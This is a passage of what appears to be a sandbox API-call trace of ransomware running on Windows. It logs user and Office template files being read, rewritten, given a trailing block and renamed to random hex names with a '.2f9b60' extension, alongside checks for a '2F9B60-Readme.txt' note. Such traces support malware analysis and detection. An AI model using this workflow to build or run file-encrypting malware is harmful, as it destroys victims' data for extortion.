DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1c76057d209361baaf471.2f9b60", NtPathName=0x1f50f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1c76057d209361baaf471.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65d90 [0112.208] NtSetInformationFile (FileHandle=0xe1c, IoStatusBlock=0x1f50f8d0, FileInformation=0x1cd65d90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.209] NtQueryInformationFile (in: FileHandle=0xe1c, IoStatusBlock=0x1f50f898, FileInformation=0x1f50f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f50f898, FileInformation=0x1f50f8a8) returned 0x0 [0112.209] NtSetInformationFile (FileHandle=0xe1c, IoStatusBlock=0x1f50f898, FileInformation=0x1f50f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bc70) returned 1 [0112.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0112.211] FlushFileBuffers (hFile=0xe1c) returned 1 [0112.213] CloseHandle (hObject=0xe1c) returned 1 [0112.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79d970 [0112.216] wcscpy (in: _Dest=0x1b79d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0112.216] wcscat (in: _Dest=0x1b79d970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" [0112.216] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2f9b60-readme.txt")) returned 0x20 [0112.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0112.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 Thread: id = 1109 os_tid = 0x17fc [0112.219] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\MZcML1V.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mzcml1v.m4a")) returned 0x20 [0112.219] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\MZcML1V.m4a", dwFileAttributes=0x20) returned 1 [0112.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\MZcML1V.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mzcml1v.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe1c [0112.220] GetFileSizeEx (in: hFile=0xe1c, lpFileSize=0x34a3f820 | out: lpFileSize=0x34a3f820*=46540) returned 1 [0112.220] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0xb5c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.220] ReadFile (in: hFile=0xe1c, lpBuffer=0x34a3f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34a3f7e8, lpOverlapped=0x0 | out: lpBuffer=0x34a3f7a0*, lpNumberOfBytesRead=0x34a3f7e8*=0x4, lpOverlapped=0x0) returned 1 [0112.221] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0112.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8320 [0112.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0112.221] NtQuerySystemTime (in: CurrentTime=0x34a3f6e0 | out: CurrentTime=0x34a3f6e0*=132462177176782000) returned 0x0 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x37abef51 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x76c2fe27 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x27e28a6d [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x44d815ba [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x4b3b635a [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x3911f8 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x16e3254b [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x36e8a3d6 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x37f1caee [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x1a7ab41 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x64ae9314 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x3543125e [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x2cc3ddad [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x62d13f19 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0xe16169d [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x215fb90b [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x217ef561 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x4aacf67e [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x419e17dc [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x35cdd59f [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x6bde5e41 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x53f4a2d3 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0xa99f734 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x6aa86190 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x3d4ad01 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x480c8ec4 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x6f15caad [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x37b68e30 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x3fd6aadd [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x19972547 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x10ffbb00 [0112.222] RtlRandomEx (in: Seed=0x34a3f6d0 | out: Seed=0x34a3f6d0) returned 0x2da82c8c [0112.251] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.251] ReadFile (in: hFile=0xe1c, lpBuffer=0x41e31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34a3f740, lpOverlapped=0x0 | out: lpBuffer=0x41e31d40*, lpNumberOfBytesRead=0x34a3f740*=0x3c00, lpOverlapped=0x0) returned 1 [0112.252] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d5f0 [0112.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0112.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8380) returned 1 [0112.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e35950 [0112.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0112.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0112.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261730) returned 1 [0112.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 [0112.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.253] WriteFile (in: hFile=0xe1c, lpBuffer=0x41e35950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34a3f740, lpOverlapped=0x0 | out: lpBuffer=0x41e35950*, lpNumberOfBytesWritten=0x34a3f740*=0x3c00, lpOverlapped=0x0) returned 1 [0112.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e35950) returned 1 [0112.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e31d40) returned 1 [0112.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a83e0 [0112.360] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.360] WriteFile (in: hFile=0xe1c, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x34a3f7f0, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x34a3f7f0*=0x108, lpOverlapped=0x0) returned 1 [0112.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0112.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b60) returned 1 [0112.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0112.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0112.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0112.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632c0) returned 1 [0112.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9ec30 [0112.362] sprintf (in: _Dest=0x1cd9ec30, _Format="%c%c" | out: _Dest="7e") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec32, _Format="%c%c" | out: _Dest="fc") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec34, _Format="%c%c" | out: _Dest="59") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec36, _Format="%c%c" | out: _Dest="06") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec38, _Format="%c%c" | out: _Dest="35") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec3a, _Format="%c%c" | out: _Dest="8b") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec3c, _Format="%c%c" | out: _Dest="94") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec3e, _Format="%c%c" | out: _Dest="35") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec40, _Format="%c%c" | out: _Dest="d2") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec42, _Format="%c%c" | out: _Dest="8b") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec44, _Format="%c%c" | out: _Dest="a6") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec46, _Format="%c%c" | out: _Dest="e1") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec48, _Format="%c%c" | out: _Dest="16") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec4a, _Format="%c%c" | out: _Dest="cd") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec4c, _Format="%c%c" | out: _Dest="f2") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec4e, _Format="%c%c" | out: _Dest="d9") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec50, _Format="%c%c" | out: _Dest="0b") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec52, _Format="%c%c" | out: _Dest="75") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec54, _Format="%c%c" | out: _Dest="ee") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec56, _Format="%c%c" | out: _Dest="51") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec58, _Format="%c%c" | out: _Dest="59") returned 2 [0112.362] sprintf (in: _Dest=0x1cd9ec5a, _Format="%c%c" | out: _Dest="77") returned 2 [0112.362] RtlInitAnsiString (in: DestinationString=0x34a3f868, SourceString="7efc5906358b9435d28ba6e116cdf2d90b75ee515977" | out: DestinationString="7efc5906358b9435d28ba6e116cdf2d90b75ee515977") [0112.362] RtlAnsiStringToUnicodeString (in: DestinationString=0x34a3f838, SourceString="7efc5906358b9435d28ba6e116cdf2d90b75ee515977", AllocateDestinationString=1 | out: DestinationString="7efc5906358b9435d28ba6e116cdf2d90b75ee515977") returned 0x0 [0112.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e800 [0112.363] wcscat (in: _Dest=0x1b79e870, _Source="7efc5906358" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7efc5906358") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7efc5906358" [0112.363] wcscat (in: _Dest=0x1b79e870, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7efc5906358.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7efc5906358.2f9b60" [0112.363] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7efc5906358.2f9b60", NtPathName=0x34a3f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7efc5906358.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205dd70 [0112.363] NtSetInformationFile (FileHandle=0xe1c, IoStatusBlock=0x34a3f8b0, FileInformation=0x4205dd70, Length=0x8c, FileInformationClass=0xa) returned 0x0 [0112.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0112.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.367] NtQueryInformationFile (in: FileHandle=0xe1c, IoStatusBlock=0x34a3f878, FileInformation=0x34a3f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34a3f878, FileInformation=0x34a3f888) returned 0x0 [0112.367] NtSetInformationFile (FileHandle=0xe1c, IoStatusBlock=0x34a3f878, FileInformation=0x34a3f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e800) returned 1 [0112.368] FlushFileBuffers (hFile=0xe1c) returned 1 [0112.369] CloseHandle (hObject=0xe1c) returned 1 [0112.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e870 [0112.371] wcscpy (in: _Dest=0x1b79e870, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0112.371] wcscat (in: _Dest=0x1b79e870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" [0112.371] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2f9b60-readme.txt")) returned 0x20 [0112.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 Thread: id = 1110 os_tid = 0x814 [0112.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79d5f0 [0112.255] wcscpy (in: _Dest=0x1b79d5f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0112.255] wcscat (in: _Dest=0x1b79d5f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0112.255] wcscat (in: _Dest=0x1b79d5f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*" [0112.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264590 [0112.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c670 [0112.258] wcscmp (_String1=".", _String2=".") returned 0 [0112.258] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.258] wcscmp (_String1="..", _String2=".") returned 1 [0112.258] wcscmp (_String1="..", _String2="..") returned 0 [0112.258] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="ASSETS~1.ACC")) returned 1 [0112.258] wcscmp (_String1="Assets.accdt", _String2=".") returned 1 [0112.258] wcscmp (_String1="Assets.accdt", _String2="..") returned 1 [0112.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205da50 [0112.258] wcscpy (in: _Dest=0x4205da50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0112.259] wcscat (in: _Dest=0x4205da50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0112.259] wcscat (in: _Dest=0x4205da50, _Source="Assets.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" [0120.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205da50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8 [0120.469] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a2ad00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f0a970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50a2ad00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1af3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Charitable Contributions.accdt", cAlternateFileName="CHARIT~1.ACC")) returned 1 [0120.469] wcscmp (_String1="Charitable Contributions.accdt", _String2=".") returned 1 [0120.469] wcscmp (_String1="Charitable Contributions.accdt", _String2="..") returned 1 [0120.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x202789b0 [0120.470] wcscpy (in: _Dest=0x202789b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.470] wcscat (in: _Dest=0x202789b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.470] wcscat (in: _Dest=0x202789b0, _Source="Charitable Contributions.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" [0120.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202789b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e0 [0120.471] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0db800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c0db800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xd45ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="CONTAC~1.ACC")) returned 1 [0120.471] wcscmp (_String1="Contacts.accdt", _String2=".") returned 1 [0120.471] wcscmp (_String1="Contacts.accdt", _String2="..") returned 1 [0120.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c8d0 [0120.471] wcscpy (in: _Dest=0x4205c8d0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.471] wcscat (in: _Dest=0x4205c8d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.471] wcscat (in: _Dest=0x4205c8d0, _Source="Contacts.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt" [0120.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde8 [0120.472] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataType", cAlternateFileName="")) returned 1 [0120.472] wcscmp (_String1="DataType", _String2=".") returned 1 [0120.472] wcscmp (_String1="DataType", _String2="..") returned 1 [0120.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b520 [0120.472] wcscpy (in: _Dest=0x1b85b520, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.473] wcscat (in: _Dest=0x1b85b520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.473] wcscat (in: _Dest=0x1b85b520, _Source="DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0120.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc [0120.474] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1 [0120.474] wcscmp (_String1="Events.accdt", _String2=".") returned 1 [0120.474] wcscmp (_String1="Events.accdt", _String2="..") returned 